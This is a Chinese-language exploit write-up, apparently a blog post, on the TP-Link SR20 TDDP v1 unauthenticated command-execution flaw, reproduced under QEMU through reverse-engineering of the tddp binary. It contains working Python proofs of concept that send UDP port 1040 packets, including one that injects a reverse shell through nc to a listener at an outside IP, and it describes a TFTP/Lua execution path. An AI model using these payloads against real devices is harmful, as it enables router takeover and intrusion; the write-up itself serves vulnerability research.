这个漏洞的成因是因为他的TDDP本身协议有任意命令执行的漏洞

TDDP协议

image-20240709180753701

基于UDP协议,端口为1040端口

以上为TDDP协议的报头,第一个字节为version,即版本。tddp协议有两个版本:version1version2。其中version1不支持身份验证和对数据包载荷的加密,而version2要求身份验证和加密。也正是因为version1不要求身份的认证即可对设备进行调试,导致出现漏洞。

漏洞复现

是arm32小端,已经qemu过很多固件了,就不再多赘述,也不会很复杂

启动脚本如下

1
2
3
4
5
6
7
8
9
#!/bin/bash
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap \
-nographic

二进制文件的分析

首先是由tddp协议出问题,然后是0x31的type

在/usr/bin/tddp里

main

image-20240709181137853

main函数中有三个函数,大致看一眼发现,sub_16C90是初始化堆块,sub_16D40是释放内存,那么主要的操作在sub_93C6

sub_93C6

image-20240709181427771

他的主要处理是来自tddp_type_handle函数

tddp_type_handle

image-20240709181523845

看version为1的情况

tddp_type_version1_handle

image-20240709181605477

进来发现是处理type的部分,那么找到0x31的部分进入

1
2
3
4
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
v9 = sub_A580((int)a1);
break;

主要是sub_A580函数

sub_A580

image-20240709181955545

由这里可以知道,主要是从version+12开始会组合一个命令执行

其中sub_91DC函数中

sub_91DC

image-20240709182052280

会执行sh -c s

其中s是传入的命令执行,那么我们可以通过|分割来进行任意命令执行

并且还有一种方式

image-20240709182211053

会用tftp下载一个文件,然后通过lua的方式执行config_test函数,那么我们就可以本地伪造一个lua文件其中包括一个config_test函数,也能实现任意命令执行

那么这样看来payload还是很好写的

POC

1
payloda="/x01/x31".ljust(b'\x00',12)+command

那么就可以简单的复现

1
2
3
4
5
6
7
8
from socket import *
import sys
ip = sys.argv[1]
ss= socket(AF_INET, SOCK_DGRAM, 0)
payload = b'\x01\x31'.ljust(12, b'\x00')
payload += b"| mkfifo /tmp/fifo | sh -i < /tmp/fifo | nc 192.168.121.112 8888 > /tmp/fifo |;s1nec-1o"
ss.sendto(payload, (ip, 1040))
ss.close()

由于反弹shell如此麻烦是因为我传入的是busybox的nc,它的使用方法较少,这是能想到的一个方法,但是反弹出来会显示段错误,不懂,但想来如果是真机也不用如此麻烦,或者将宿主机的nc传入吧

1
2
3
4
5
6
7
8
9
10
11
12
from socket import *
import sys

tddp_port = 1040
ip = sys.argv[1] # 192.168.192.130 (QEMU虚拟机的IP)
command = sys.argv[2]

s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload = b'\x01\x31'.ljust(12, b'\x00')
payload += b"%s;winmt" % command
s_send.sendto(payload, (ip, tddp_port))
s_send.close()

还得是winmt,脚本都那么优雅

至于lua文件的执行,想来也是差不多的编写脚本思路

参考链接

winmt

TP Link SR20 ACE漏洞分析 - 先知社区 (aliyun.com)